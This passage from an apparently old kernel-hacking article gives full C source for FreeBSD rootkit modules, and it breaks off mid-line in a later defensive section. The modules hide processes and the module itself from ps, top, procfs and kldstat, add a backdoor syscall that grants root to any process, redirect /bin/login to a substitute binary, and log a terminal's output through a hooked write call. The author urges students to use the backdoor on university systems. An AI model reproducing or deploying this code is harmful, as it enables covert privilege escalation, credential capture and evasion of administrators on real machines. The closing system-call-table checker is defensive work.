    + +/*This module shows how to hide any process from commands like 'ps' or 'top'. +Recall that BSD uses the so called kvm library which uses special MIBs +with sysctl commands, to get access to the kernel 'allproc' and 'zombroc' list +from user space. Linux only relies on the procfs, so BSD is a bit harder to +attack.*/ + +/*FEATURES : +1 - This module hides a certain process from proc lists produced by ps or top +2 - This module hides a certain process from direct calls like 'ps PID' +3 - This module intercepts the kill syscall in order to avoid killing our + process we want to hide (the kill is just an add-on, normally you are + secure enough with the points 1,2 and 4) +4 - This module hides the proc entry from the procfs +*/ + +#include <sys/types.h> +#include <sys/param.h> +#include <sys/proc.h> +#include <sys/module.h> +#include <sys/sysent.h> +#include <sys/kernel.h> +#include <sys/systm.h> +#include <sys/linker.h> +#include <sys/sysproto.h> +#include <sys/sysent.h> +#include <sys/proc.h> +#include <sys/syscall.h> +#include <sys/file.h> +#include <sys/malloc.h> +#include <sys/types.h> +#include <sys/queue.h> +#include <dirent.h> +#include <sys/sysctl.h> + +/*exact name of the process (+arguments) we want to hide*/ +#define HIDE_PROC "sniffer" + +/*this structure is used by BSD to describe a process for user space programs*/ +struct kinfo_proc { + struct proc kp_proc; /* proc structure */ + struct eproc { + struct proc *e_paddr; /* address of proc */ + struct session *e_sess; /* session pointer */ + struct pcred e_pcred; /* process credentials */ + struct ucred e_ucred; /* current credentials */ + struct procsig e_procsig; /* shared signal structure */ + /*PADDING stuff*/ + /*struct vmspace e_vm; address space */ + char pad1[180]; + pid_t e_ppid; /* parent process id */ + pid_t e_pgid; /* process group id */ + short e_jobc; /* job control counter */ + dev_t e_tdev; /* controlling tty dev */ + pid_t e_tpgid; /* tty process group id */ + struct session *e_tsess; /* tty session pointer */ +#define WMESGLEN 7 + char e_wmesg[WMESGLEN+1]; /* wchan message */ + segsz_t e_xsize; /* text size */ + short e_xrssize; /* text rss */ + short e_xccount; /* text references */ + short e_xswrss; + long e_flag; +#define EPROC_CTTY 0x01 /* controlling tty vnode active */ +#define EPROC_SLEADER 0x02 /* session leader */ + char e_login[roundup(MAXLOGNAME, sizeof(long))]; /* setlogin() name */ + long e_spare[2]; + } kp_eproc; +}; + +/*we need this counter to get the right sysctl call*/ +int global_counter; + + +/*We need to define M_DIRP2 for allocating some memory in kernel space with + the help of the MALLOC macro*/ +MALLOC_DEFINE(M_DIRP2, "dirp2", "struct"); + + +/*This function returns the PID of the process we want to hide*/ +int +get_pid() +{ + struct proc *p; + + p=allproc.lh_first; + for (; p!=0; p=p->p_list.le_next) + { + /*p->p_comm holds the process name*/ + if (strcmp(p->p_comm, HIDE_PROC)==0) + { + return p->p_pid; + } + } + return -1; +} + +/*nothing big, but for demonstration*/ +static int +hacked_kill(struct proc *p, struct kill_args *uap) +{ + if (uap->pid==get_pid()) + return ESRCH; + else + return kill(p, uap); +} + +/*the BIG sysctl hack :)*/ +static int +hacked_sysctl(struct proc *p, struct sysctl_args *uap) +{ + /*this will hold the MIB values*/ + int mib[4]; + size_t size, newsize; + /*this will hold the kinfo_proc structures in our kernel space*/ + struct kinfo_proc kpr; + /*just some stuff we need*/ + int tmp, counter; + + /*call sysctl, and get return value*/ + tmp= __sysctl(p, uap); + + /*grab the MIB from user space*/ + copyin(uap->name, &mib, sizeof(mib)); + + /*Did someone issue something like 'ps PID' -> in order to get information + on a certain single process ? If so we need to handle this. Attention : + I skipped checkin' the first two mib[] fields, again I'm lazy :)*/ + if (mib[2]==KERN_PROC_PID) + { + /*Does he want to get info on our process ?*/ + if (mib[3]==get_pid()) + { + /*If so we return a size value of 0 standing for no such process*/ + size=0; + /*copy to user space*/ + copyout(&size, uap->oldlenp, sizeof(size)); + /*and return*/ + return(0); + } + else + /*otherwise display the reqeuested information*/ + return 0; + } + + /*the following code will handle calls like 'ps' and 'top' with ALL PROCS + enable*/ + /*ok, we need to check the MIB for 'hacking' the real sysctl + our first check is it CTL_KERN*/ + if (mib[0]==CTL_KERN) + + /*our second check is it KERN_PROC*/ + if (mib[1]==KERN_PROC) + + /*our third check : is it the second sysctl (not the one retrieving the + kinfo_proc structure list size ?*/ + if (uap->old!=NULL) + { + /*only catch the first call*/ + if (global_counter==0) + { + global_counter++; + /*now it's time to check for our PID we want to hide*/ + /*NOTE : Here we check the memory region in user space for a kinfo_proc + structure with the needed PID*/ + for (counter=0;(counter*sizeof(kpr)<=size); counter++) + { + /*copy from user to kernel space*/ + copyin(uap->old+counter*sizeof(kpr), &kpr, sizeof(kpr)); + /*do we have our PID ?*/ + if (kpr.kp_proc.p_pid==get_pid()) + { + /*YES, so patch the size of the memory region (decrement by one + kinfo_proc structure)*/ + newsize=size-sizeof(kpr); + /*'overlap' the memory, so we 'cut' our entry out*/ + bcopy(uap->old+(counter+1)*sizeof(kpr), uap->old+counter*sizeof(kpr), + size-(counter+1)*sizeof(kpr)); + + } + } + /*set the new size*/ + copyout(&newsize, uap->oldlenp, sizeof(size)); + /*and finally return*/ + return 0; + } + } + /*we have the sysctl call, that requests the memory size of the kinfo_proc + list*/ + /*if uap->old == NULL, then the user requests the process count*/ + else + { + /*we also need the size (count), so get it*/ + copyin(uap->oldlenp, &size, sizeof(size)); + /*in sys/kern/kern_proc.c BSD uses a size overestimated by 5 structures, + so we need to correct (decrease) that*/ + size-=sizeof(kpr)*5; + newsize=size; + /*set global_counter to 0 for catching the only next sysctl*/ + global_counter=0; + } + return tmp; +} + + +/*Normal getdirentries hack for hiding the process from procfs*/ +static int +hacked_getdirentries (struct proc *p, struct getdirentries_args *uap) +{ + unsigned int tmp, n, t; + struct dirent *dirp2, *dirp3; + + /*The file we want to hide : The name must match exactly !*/ + char hide[255]; + + + /*copy the HIDE_PROC number into the hide string*/ + sprintf(hide, "%d", get_pid()); + + /*just issue the syscall*/ + getdirentries(p,uap); + + /*this is the way BSD returns status values to the process issueing the + request.*/ + tmp=p->p_retval[0]; + + if (tmp>0) + { + /*allocate memory*/ + MALLOC(dirp2, struct dirent*, tmp, M_DIRP2, M_NOWAIT); + /*copy the dirent structure for user space in our kernel space*/ + copyin(uap->buf, dirp2, tmp); + + /*dirp3 points to dirp2*/ + dirp3=dirp2; + + t=tmp; + + /*In this loop we check for every dirent structure in the user buffer*/ + while (t > 0) + { + n = dirp3->d_reclen; + t-=n; + /*Do we have the entry for our file to hide (I don't check for procfs)*/ + if (strcmp((char*)&(dirp3->d_name), (char*)&hide)==0) + { + if (t!=0) + { + /*ATTENTION : Do not use something like strcpy or so. bcopy is able to + handle overlapping memroy locations, so this is our choice*/ + bcopy((char*)dirp3+n,dirp3, t); + } + /*the dirent structure list is shorter now*/ + tmp-=n; + } + /*The following piece of code is necessary, because we get one dirent entry + with d_reclen=0, if we would not implement this, we would get an infinite + while loop*/ + if (dirp3->d_reclen==0) + { + /*end is reached*/ + t=0; + } + /*as long as there is something to copy, do it*/ + if (t!=0) + /*get the next pointer from the dirent structure list*/ + dirp3=(struct dirent*)((char*)dirp3+dirp3->d_reclen); + } + /*we must decrement the getdirentries user call return value, if we changed + something*/ + p->p_retval[0]=tmp; + + /*copy the whole (perhaps modified) memory back to the user buffer*/ + copyout(dirp2, uap->buf, tmp); + + /*free kernel memory*/ + FREE(dirp2, M_DIRP2); + } + /*everything ok, so return 0*/ + return 0; +} + +/*the hacked getdirentries syscall*/ +static struct sysent hacked_getdirentries_sysent = { + 4, + hacked_getdirentries /* sy_call */ +}; + + +/*the hacked kill sysentry*/ +static struct sysent hacked_kill_sysent = { + 2, + hacked_kill +}; + +/*the hacked sysctl sysentry*/ +static struct sysent hacked_sysctl_sysent = { + 6, + hacked_sysctl /* sy_call */ +}; + + +/* + * The function called at load/unload. + */ +static int +dummy_handler (struct module *module, int cmd, void *arg) +{ + int error = 0; + + switch (cmd) { + case MOD_LOAD : + /*replace the sysctl syscall with our own*/ + sysent[202]=hacked_sysctl_sysent; + /*replace the kill syscall with our own*/ + sysent[37]=hacked_kill_sysent; + /*replace the getdirentries syscall with our own*/ + sysent[196]=hacked_getdirentries_sysent; + break; + case MOD_UNLOAD : + /*argument count has not changed, so we only need to restore the + function pointer*/ + sysent[202].sy_call=(sy_call_t*)__sysctl; + sysent[37].sy_call=(sy_call_t*)kill; + sysent[196].sy_call=(sy_call_t*)getdirentries; + break; + default : + error = EINVAL; + break; + } + return error; +} + + +/*module data*/ +static moduledata_t syscall_mod = { + "ProcHide", + dummy_handler, + NULL +}; + +DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); + + +Load this module and the process will be hidden. Already started processes can +- of course - also be hidden.
    +You may say that this solution does not look very nice, I know, but again it's +working. And please bear in mind that this module is again experimental. +For kernel starters :
    +You may wonder why I didn't patch the allproc or zombproc list directly. Well +those lists are also required for scheduling and other important system tasks. +It would be far too complicated to code something like this, I really think +that it's quite impossible. + +

    +

    3.2 Backdoor 'rootshell'

    +

    +The following module was a nice idea I had when playing around with the proc +structure. Load this module, and you can 'SU' without a password. +The idea is very simple. The module implements a system call that gets one +argument : a PID. This can be the PID of any process, but will normally be the +PID of your user account shell (tcsh, sh, bash or whatever). This +process will then become root (UID 0) by manipulating its cred structure. +Here we go : +

    +#include <sys/types.h> +#include <sys/param.h> +#include <sys/proc.h> +#include <sys/module.h> +#include <sys/sysent.h> +#include <sys/kernel.h> +#include <sys/systm.h> +#include <sys/linker.h> +#include <sys/lock.h> + +/*arguments for our system call*/ +struct make_me_root_args { + /*which process should be set UID=0?*/ + int p_pid; +}; + +/*A very simple system call handler making a certain process UID=0*/ +static int +make_me_root (struct proc *p, struct make_me_root_args *uap) +{ + struct proc *pr=pfind(uap->p_pid); + + /*this is all we need...*/ + pr->p_cred->pc_ucred->cr_uid=0; + return 0; +} + +/* + * The `sysent' for the our syscall + */ +static struct sysent make_me_root_sysent = { + 1, /* sy_narg */ + make_me_root /* sy_call */ +}; + +/*we choose slot number 210, because it's free on FreeBSD 3.1*/ +static int offset = 210; + +/*nothing to do here*/ +static int +load (struct module *module, int cmd, void *arg) +{ + return 0; +} + +/*start everything*/ +SYSCALL_MODULE(rootmod, &offset, &make_me_root_sysent, load, NULL); + + +The problem is that anyone can call this system call, but you can add some +kind of simple authentication (like I did before) or just hide it with a +filesysetem hack ;). + +Here's the user space : + +/*in argv[1] this program waits for the PID to set UID=0*/ +#include <stdio.h> +#include <sys/syscall.h> +#include <sys/types.h> +#include <sys/module.h> + +struct make_me_root_args { + int p_pid; +}; + +int +main(int argc, char **argv) +{ + struct make_me_root_args mmra; + + mmra.p_pid=atoi(argv[1]); + return syscall (210, mmra); +} + +In my opinion this is one of the easiest local backdoors. Interesting for +thousands of students. Image your university uses a buggy FreeBSD system (every +system is buggy, no piece of software is perfect). Do the scrippt-kiddie trick +and become root, install the module (hiding should be added) and you are done. + +

    +

    4. File execution redirection

    +

    +This method and its advantages were already described in my Linux article, so +I will only give you the code plus some short words. Please note that this +hack approach is a bit different from the Linux idea, so pay attention : +

    +#include <sys/types.h> +#include <sys/param.h> +#include <sys/proc.h> +#include <sys/module.h> +#include <sys/sysent.h> +#include <sys/kernel.h> +#include <sys/systm.h> +#include <sys/linker.h> +#include <sys/sysproto.h> +#include <sys/sysent.h> +#include <sys/proc.h> +#include <sys/syscall.h> +#include <sys/file.h> +#include <sys/malloc.h> +#include <sys/types.h> +#include <dirent.h> + +/* + * Shareable process virtual address space. + * May eventually be merged with vm_map. + * Several fields are temporary (text, data stuff). + */ +struct vmspace { +/*NOTE : I just used some padding stuff, to avoid too much include file + problems... +*/ +/* struct vm_map vm_map; VM address map */ + char pad1[100]; +/* struct pmap vm_pmap; private physical map */ + char pad2[36]; + int vm_refcnt; /* number of references */ + caddr_t vm_shm; /* SYS5 shared memory private data XXX */ +/* we copy from vm_startcopy to the end of the structure on fork */ +#define vm_startcopy vm_rssize + segsz_t vm_rssize; /* current resident set size in pages */ + segsz_t vm_swrss; /* resident set size before last swap */ + segsz_t vm_tsize; /* text size (pages) XXX */ + segsz_t vm_dsize; /* data size (pages) XXX */ + segsz_t vm_ssize; /* stack size (pages) */ + caddr_t vm_taddr; /* user virtual address of text XXX */ + caddr_t vm_daddr; /* user virtual address of data XXX */ + caddr_t vm_maxsaddr; /* user VA at max stack growth */ + caddr_t vm_minsaddr; /* user VA at max stack growth */ +}; + + +/*the hacked execve syscall*/ +static +int hacked_execve(struct proc *p, struct execve_args *uap) +{ + char name[255]; + /*the file we want to redirect*/ + char old_name[]="/bin/login"; + /*the new file to execute, perhaps hiding is a good idea...*/ + char new_name[]="/bin/newlogin"; + size_t done; + struct obreak_args oa; + struct execve_args kap; + struct execve_aegs *nap; + char *user_new_name; + + /*get the program name the system (user) wants to execute via execve*/ + copyinstr(uap->fname, name, 255, &done); + + /*do we have the right file name?*/ + if (strcmp((char*)&name, (char*)&old_name)==0) + { + /*IDEA : Now we allocate a bit of user space memory for a new execve_args + structure...*/ + /*allocate one page*/ + oa.nsize=curproc->p_vmspace->vm_daddr+ctob(curproc->p_vmspace->vm_dsize)+ + 4096; + + /*set the adress*/ + user_new_name=oa.nsize-256; + /*copy the new name to user space location*/ + copyout(&new_name, user_new_name, strlen(new_name)); + /*set the pointer kap.fname to the user space location*/ + kap.fname=oa.nsize-256; + /*set the pointer kap.argv to the old uap entry in user space*/ + kap.argv=uap->argv; + /*the same as above*/ + kap.envv=uap->envv; + /*set the adress for the new execve_args structure in user space*/ + nap=(struct execve_args*)oa.nsize-4000; + /*copy the kernel execve_args structure to the user space one*/ + copyout(&kap, nap, sizeof(struct execve_args)); + /*execute the new command with the same argv and envv values*/ + return execve(curproc, nap); + } + /*if we don't have our file, just continue*/ + return execve(p, uap); +} + +/*the hacked execve syscall*/ +static struct sysent hacked_execve_sysent = { + 3, + hacked_execve /* sy_call */ +}; + + + +/* + * The function called at load/unload. + */ +static int +dummy_handler (struct module *module, int cmd, void *arg) +{ + int error = 0; + switch (cmd) { + case MOD_LOAD : + /*replace the execve syscall with our own*/ + sysent[SYS_execve]=hacked_execve_sysent; + break; + case MOD_UNLOAD : + /*argument count has not changed, so we only need to restore the + function pointer*/ + sysent[SYS_execve].sy_call=(sy_call_t*)execve; + break; + default : + error = EINVAL; + break; + } + return error; +} + + + +static moduledata_t syscall_mod = { + "ExeRedirect", + dummy_handler, + NULL +}; + +DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); + + +I had to reuse an execve system call, so I was forced to allocate some user +space memory for the new args. This is why the module is a bit long. + +

    +

    5. TTY hijacking

    +

    +TTY hijacking has a long tradition, and though there may be lots of ways to do, +kernel code is a quite nice solution. It was demonstrated on Linux boxes with +LKM. Now it's time to show you how it works on BSD.
    +So take a look at my 10 minutes hack (don't expect good code) : +

    +#include <sys/types.h> +#include <sys/param.h> +#include <sys/proc.h> +#include <sys/module.h> +#include <sys/sysent.h> +#include <sys/kernel.h> +#include <sys/systm.h> +#include <sys/linker.h> +#include <sys/sysproto.h> +#include <sys/sysent.h> +#include <sys/proc.h> +#include <sys/syscall.h> +#include <sys/file.h> +#include <sys/malloc.h> +#include <sys/types.h> + +/*TTY we want to hijack*/ +#define MAJOR 12 +#define MINOR 2 + +/*buffer size to use (for TTY data)*/ +#define BUFSIZE 8192 + +/*global memory for saving all TTY inputs*/ +char *ttybuf; + +/*global counter to implement some (bad) kind of ring buffer*/ +int globalcounter=0; + +MALLOC_DEFINE(M_BUF, "buf", "buf"); + + +/*structure for system call to retrieve the TTYbuf data*/ +static struct get_tty_args { + char *buf; +}; + +/*I packed some structures into this module, to make things clearer.*/ +struct specinfo { + struct vnode **si_hashchain; + struct vnode *si_specnext; + struct mount *si_mountpoint; + dev_t si_rdev; + unsigned long si_blksize; +}; + + +/*stuff needed for vnode structure*/ +typedef int vop_t __P((void *)); +enum vtype { VNON, VREG, VDIR, VBLK, VCHR, VLNK, VSOCK, VFIFO, VBAD }; +TAILQ_HEAD(buflists, buf); + + +/*non-complete vnode structure, we only need the device parts.*/ +struct vnode { + u_long v_flag; /* vnode flags (see below) */ + int v_usecount; /* reference count of users */ + int v_writecount; /* reference count of writers */ + int v_holdcnt; /* page & buffer references */ + daddr_t v_lastr; /* last read (read-ahead) */ + u_long v_id; /* capability identifier */ + struct mount *v_mount; /* ptr to vfs we are in */ + vop_t **v_op; /* vnode operations vector */ + TAILQ_ENTRY(vnode) v_freelist; /* vnode freelist */ + LIST_ENTRY(vnode) v_mntvnodes; /* vnodes for mount point */ + struct buflists v_cleanblkhd; /* clean blocklist head */ + struct buflists v_dirtyblkhd; /* dirty blocklist head */ + LIST_ENTRY(vnode) v_synclist; /* vnodes with dirty buffers */ + long v_numoutput; /* num of writes in progress */ + enum vtype v_type; /* vnode type */ + union { + struct mount *vu_mountedhere;/* ptr to mounted vfs (VDIR) */ + struct socket *vu_socket; /* unix ipc (VSOCK) */ + struct specinfo *vu_specinfo; /* device (VCHR, VBLK) */ + struct fifoinfo *vu_fifoinfo; /* fifo (VFIFO) */ + } v_un; + /*....*/ +}; + + +/*the shortest systemcall I ever saw, but (again) everything is working*/ +static +void get_tty(struct proc *p, struct get_tty_args *uap) +{ + copyout(ttybuf, uap->buf, BUFSIZE); +} + +/*the hacked write syscall*/ +static +int hacked_write(struct proc *p, struct write_args *uap) +{ + /*we will examine the vnode of the file it is read from*/ + struct vnode *vn; + /*we have to check the device for our TTY*/ + dev_t device; + + /*get the vnode*/ + vn=(struct vnode*)curproc->p_fd->fd_ofiles[uap->fd]->f_data; + + /*do we have a character device?*/ + if (vn->v_type==VCHR) + { + /*if so get the device*/ + device=vn->v_un.vu_specinfo->si_rdev; + /*check for MAJOR and MINOR codes*/ + if ((major(device)==MAJOR) && (minor(device)==MINOR)) + { + /*arghh, this is no nice solution. Computer Science students should + correct this bad ring buffer implementation*/ + if ((globalcounter+uap->nbyte)>BUFSIZE) globalcounter=0; + /*again no nice coding, just call me Mr. Lazy ;)*/ + if (uap->nbyte<BUFSIZE) + copyin(uap->buf, ttybuf+globalcounter, uap->nbyte); + globalcounter+=uap->nbyte; + } + } + return write(p, uap); +} + +/*the hacked open syscall*/ +static struct sysent hacked_write_sysent = { + 3, + hacked_write /* sy_call */ +}; + +/*our own system call for bringing the kernel buffer to user space*/ +static struct sysent get_tty_sysent = { + 1, + get_tty /* sy_call */ +}; + + +static int +dummy_handler (struct module *module, int cmd, void *arg) +{ + int error = 0; + switch (cmd) { + case MOD_LOAD : + /*allocate memory. Bear in mind that M_NOWAIT is always a bit critical!*/ + MALLOC(ttybuf, char*, BUFSIZE, M_BUF, M_NOWAIT); + /*replace the execve syscall with our own*/ + sysent[SYS_write]=hacked_write_sysent; + /*again we use slot 210*/ + sysent[210]=get_tty_sysent; + break; + case MOD_UNLOAD : + /*free buffer*/ + FREE(ttybuf, M_BUF); + /*argument count has not changed, so we only need to restore the + function pointer*/ + sysent[SYS_write].sy_call=(sy_call_t*)write; + break; + default : + error = EINVAL; + break; + } + return error; +} + + +static moduledata_t syscall_mod = { + "TTYhijack", + dummy_handler, + NULL +}; + +DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); + + +For any explainations read my Linux LKM text :). TTY hijacking is realized by +intercepting every write system call and checking the vnode for the correct +device codes (specified through major and minor).
    +The following little program represents the user space part, getting the +data. + +#include <stdio.h> +#include <sys/syscall.h> +#include <sys/types.h> +#include <sys/module.h> + +struct get_tty_args { + char *buf; +}; + +int +main(int argc, char **argv) +{ + /*maybe you have to adjust the size value (see BUFSIZE in module)*/ + char *buf=(char*)malloc(8192); + struct get_tty_args uap; + int counter; + + uap.buf=buf; + syscall (210, uap); + /*I used this way of printing, maybe it would be a better job to handle some + command codes (old plain ASCII)*/ + for (counter=0; counter<=8192; counter++) + printf("%c", buf[counter]); +} + +Ok, start the module with desired device codes. Wait some time, and start user +space program...
    +The first big Linux TTY hijacking LKM used a device to manage the TTY buffer. +Of course, this would also work on FreeBSD, but I hadn't got the time, so +I just installed a system call. + +

    +

    6. Hiding the module

    +

    +[Note : LKM hiding under FreeBSD 2.x systems was done before, KLD hiding for +3.x systems is new, so read & learn.]
    +Now it's time to discuss hiding of our module. First of all we have to think +about what to hide.
    +As I explained above there is a big difference between a link file and a +module. Commands like 'kldstat' will give you a listing of loaded linkfiles, +but there is no command to get a list of all loaded modules. +So guess where kldstat gets the listing from. It's just the linker file list +'files'. Now it's quite easy to hide this module and make it unremovable. Just +delete the desired entry from the files list, and everything is fine. There are +no problems with doing this (like there were with the proc lists). I have to +admit that I only analyzed 40 % of the whole kernel code (I will continue) so +I also implemented module hiding perhaps there is a place in the kernel we +need it. So let's take a look at my implementation : + +

    +/*FEATURES : + - manipulate linker files list + - manipulate moodules list + - manipulate first linker file entry + - manipulate global linker file ID coutner + - manipulate global modules ID counter +*/ + +#include <sys/types.h> +#include <sys/param.h> +#include <sys/proc.h> +#include <sys/module.h> +#include <sys/sysent.h> +#include <sys/kernel.h> +#include <sys/systm.h> +#include <sys/linker.h> +#include <sys/sysproto.h> +#include <sys/sysent.h> +#include <sys/proc.h> +#include <sys/syscall.h> +#include <sys/file.h> +#include <sys/malloc.h> +#include <sys/types.h> +#include <sys/lock.h> + + +typedef TAILQ_HEAD(, module) modulelist_t; + + +extern struct lock lock; +/*we have to patch the files list*/ +extern linker_file_list_t files; +extern int next_file_id; +/*we have to patch the modules list*/ +extern modulelist_t modules; +extern int nextid; + + +struct module { + TAILQ_ENTRY(module) link; + TAILQ_ENTRY(module) flink; + struct linker_file *file; + int refs; + int id; + char *name; + modeventhand_t handler; + void *arg; + modspecific_t data; +}; + +char string[]="Hello Word"; + +/*this is just to show that extern functions also work*/ +static +void do_a_print() +{ + printf("IT WORKS : %s\n", string); +} + +/*The syscall *TODO* function*/ +/*This function is not necessary, because we just want to hide a module. We +only need it for checking, that our module is still working.*/ +static int +hello (struct proc *p, void *arg) +{ + printf ("SYSCALL was ESTABLISHED and is still in memory \n"); + + do_a_print(); + return 0; +} + +/* + * The `sysent' for the new syscall + */ +static struct sysent hello_sysent = { + 0, /* sy_narg */ + hello /* sy_call */ +}; + +/* + * The offset in sysent where the syscall is allocated. + */ +/*NO_SYSCALL stands for 'let the kernel choose the syscall number'*/ +static int offset = 210; + +/* + * The function called at load/unload. + */ +static int +load (struct module *module, int cmd, void *arg) + +{ + linker_file_t lf=0; + + module_t mod=0; + + + lockmgr(&lock, LK_SHARED, 0, curproc); + + /*NOTE : The first linker file is the current kernel image (/kernel for + example). If we load our module we will increase the reference cound + of the kernel link file, this might be a bit suspect, so we must + patch this.*/ + + (&files)->tqh_first->refs--; + for (lf=(&files)->tqh_first; lf; lf=(lf)->link.tqe_next) { + + if (!strcmp(lf->filename, "hide.ko")) + { + /*first let's decrement the global link file counter*/ + next_file_id--; + /*now let's remove the entry*/ + if (((lf)->link.tqe_next)!=NULL) + + (lf)->link.tqe_next->link.tqe_prev=(lf)->link.tqe_prev; + else + (&files)->tqh_last=(lf)->link.tqe_prev; + *(lf)->link.tqe_prev=(lf)->link.tqe_next; + + break; + } + } + lockmgr(&lock, LK_RELEASE, 0, curproc); + + for (mod=TAILQ_FIRST(&modules); mod; mod=TAILQ_NEXT(mod, link)) { + if(!strcmp(mod->name, "mysys")) + { + /*first let's patch the internal ID counter*/ + nextid--; + + TAILQ_REMOVE(&modules, mod, link); + } + } + return 0; +} + +/*start everything*/ +/*This function only sets the field of X_module_data, where X stands for the +kind of module; here SYSCALL_...*/ +SYSCALL_MODULE(mysys, &offset, &hello_sysent, load, NULL); + +Load this module via kldload and wonder ;). You won't see anything. Even +loading another module will seem totally normal, because the ID field is only +incremented by 1 due to our modifications. After adding this hiding feature +any module is also unremovable and neary undetectable. + +

    +

    7. Last Words

    +

    +As I said in my introduction this part only showed those hacks that +needed a total re-implementation on BSD compared to the Linux ones. Every other +hack I presented in my Linux text, should also work; but it's too trivial to +explain this here.
    +Of course, it's also possible to write some kind of FreeBSD virus. Perhaps I +will work on this, but it's quite easy. + +

    +

    III. Securing the kernel

    +

    +This part will only show you how to avoid some problems (not all) you as +administrator could have with 'hacker' modules playing havoc with your system +call table. My Linux text showed many ways how to fight against hostile modules +with the help of some protection LKMs. I won't repeat those ideas. You can use +all those modules on FreeBSD too, you only have to change the code a bit. This +is why this part is quite short; I only describe some new ideas. + +

    +

    1. How to detect sysent[] modifications

    +

    +Those of you common with kernel hacking know that nearly every module that +does something useful for a hacker must modify the kernel system call table. +[Note : As I said in my introduction there are lots of ways to attack FreeBSD +without patching the system call table, but ... wait for a further release of +this text :)] Those changes are needed to intercept and manipulate system +calls. Of course there may also be some non-hacking modules that will change +the global system call table (add a system call or so), but normally those +driver modules (for example) don't change existing system calls. So we should +implement some piece of code checking every system call entry on a system that +is defined during startup for suspicious changes. +

    +#include <sys/types.h> +#include <sys/param.h> +#include <sys/proc.h> +#include <sys/module.h> +#include <sys/sysent.h> +#include <sys/kernel.h> +#include <sys/systm.h> +#include <sys/linker.h> +#include <sys/sysproto.h> +#include <sys/sysent.h> +#include <sys/proc.h> +#include <sys/syscall.h> +#include <sys/file.h> +#include <sys/malloc.h> +#include <sys/types.h> +#include <sys/lock.h> + + +/* + * The function called at load/unload. + */ +static int +dummy_handler (struct module *module, int cmd, void *arg) +{ + char error[400]; + int counter; + + bzero(&error, sizeof(error)); + + /*this is hard cut & paste coding :-)*/ + if (sysent[SYS_exit].sy_call!=exit) error[SYS_exit]=1; + if (sysent[SYS_fork].sy_call!=fork) error[SYS_fork]=1; + if (sysent[SYS_read].sy_call!=read) error[SYS_read]=1; + if (sysent[SYS_write].sy_call!=write) error[SYS_write]=1; + if (sysent[SYS_open].sy_call!=open) error[SYS_open]=1; + if (sysent[SYS_close].sy_call!=close) error[SYS_close]=1; + if (sysent[SYS_wait4].sy_call!=wait4) error[SYS_wait4]=1; + if (sysent[SYS_link].sy_call!=link) error[SYS_link]=1; + if (sysent[SYS_unlink].sy_call!=unlink) error[SYS_unlink]=1; + if (sysent[SYS_chdir].sy_call!=chdir) error[SYS_chdir]=1; + if (sysent[SYS_fchdir].sy_call!=fchdir) error[SYS_fchdir]=1; + if (sysent[SYS_mknod].sy_call!=mknod) error[SYS_mknod]=1; + if (sysent[SYS_chmod].sy_call!=chmod) error[SYS_chmod]=1; + if (sysent[SYS_chown].sy_call!=chown) error[SYS_chown]=1; + if (sysent[SYS_break].sy_call!=obreak) error[SYS_break]=1; + if (sysent[SYS_getfsstat].sy_call!=getfsstat) error[SYS_getfsstat]=1; + if (sysent[SYS_lseek].sy_call!=lseek) error[SYS_lseek]=1; + if (sysent[SYS_getpid].sy_call!=getpid) error[SYS_getpid]=1; + if (sysent[SYS_mount].sy_call!=mount) error[SYS_mount]=1; + if (sysent[SYS_unmount].sy_call!=unmount) error[SYS_unmount]=1; + if (sysent[SYS_setuid].sy_call!=setuid) error[SYS_setuid]=1; + if (sysent[SYS_getuid].sy_call!=getuid) error[SYS_getuid]=1; + if (sysent[SYS_geteuid].sy_call!=geteuid) error[SYS_geteuid]=1; + if (sysent[SYS_ptrace].sy_call!=ptrace) error[SYS_ptrace]=1; + if (sysent[SYS_recvmsg].sy_call!=recvmsg) error[SYS_recvmsg]=1; + if (sysent[SYS_sendmsg].sy_call!=sendmsg) error[SYS_sendmsg]=1; + if (sysent[SYS_recvfrom].sy_call!=recvfrom) error[SYS_recvfrom]=1; + if (sysent[SYS_accept].sy_call!=accept) error[SYS_accept]=1; + if (sysent[SYS_getpeername].sy_call!=getpeername) error[SYS_getpeername]=1; + if (sysent[SYS_getsockname].sy_call!=getsockname) error[SYS_getsockname]=1; + if (sysent[SYS_access].sy_call!=access) error[SYS_access]=1; + if (sysent[SYS_chflags].sy_call!=chflags) error[SYS_chflags]=1; + if (sysent[SYS_fchflags].sy_call!=fchflags) error[SYS_fchflags]=1; + if (sysent[SYS_sync].sy_call!=sync) error[SYS_sync]=1; + if (sysent[SYS_kill].sy_call!=kill) error[SYS_kill]=1; + if (sysent[SYS_stat].sy_call!=stat) error[SYS_stat]=1; + if (sysent[SYS_lstat].sy_call!=lstat) error[SYS_lstat]=1; + if (sysent[SYS_dup].sy_call!=dup) error[SYS_dup]=1; + if (sysent[SYS_pipe].sy_call!=pipe) error[SYS_pipe]=1; + if (sysent[SYS_getegid].sy_call!=getegid) error[SYS_getegid]=1; + if (sysent[SYS_profil].sy_call!=profil) error[SYS_profil]=1; + if (sysent[SYS_ktrace].sy_call!=ktrace) error[SYS_ktrace]=1; + if (sysent[SYS_sigaction].sy_call!=sigaction) error[SYS_sigaction]=1; + if (sysent[SYS_getgid].sy_call!=getgid) error[SYS_getgid]=1; + if (sysent[SYS_sigprocmask].sy_call!=sigprocmask) error[SYS_sigprocmask]=1; + if (sysent[SYS_getlogin].sy_call!=getlogin) error[SYS_getlogin]=1; + if (sysent[SYS_setlogin].sy_call!=setlogin) error[SYS_setlogin]=1; + if (sysent[SYS_acct].sy_call!=acct) error[SYS_acct]=1; + if (sysent[SYS_sigpending].sy_call!=sigpending) error[SYS_sigpending]=1; + if (sysent[SYS_sigaltstack].sy_call!=sigaltstack) error[SYS_sigaltstack]=1; + if (sysent[SYS_ioctl].sy_call!=ioctl) error[SYS_ioctl]=1; + if (sysent[SYS_reboot].sy_call!=reboot) error[SYS_reboot]=1; + if (sysent[SYS_revoke].sy_call!=revoke) error[SYS_revoke]=1; + if (sysent[SYS_symlink].sy_call!=symlink) error[SYS_symlink]=1; + if (sysent[SYS_readlink].sy_call!=readlink) error[SYS_readlink]=1; + if (sysent[SYS_execve].sy_call!=execve) error[SYS_execve]=1; + if (sysent[SYS_umask].sy_call!=umask) error[SYS_umask]=1; + if (sysent[SYS_chroot].sy_call!=chroot) error[SYS_chroot]=1; + if (sysent[SYS_fstat].sy_call!=fstat) error[SYS_fstat]=1; + if 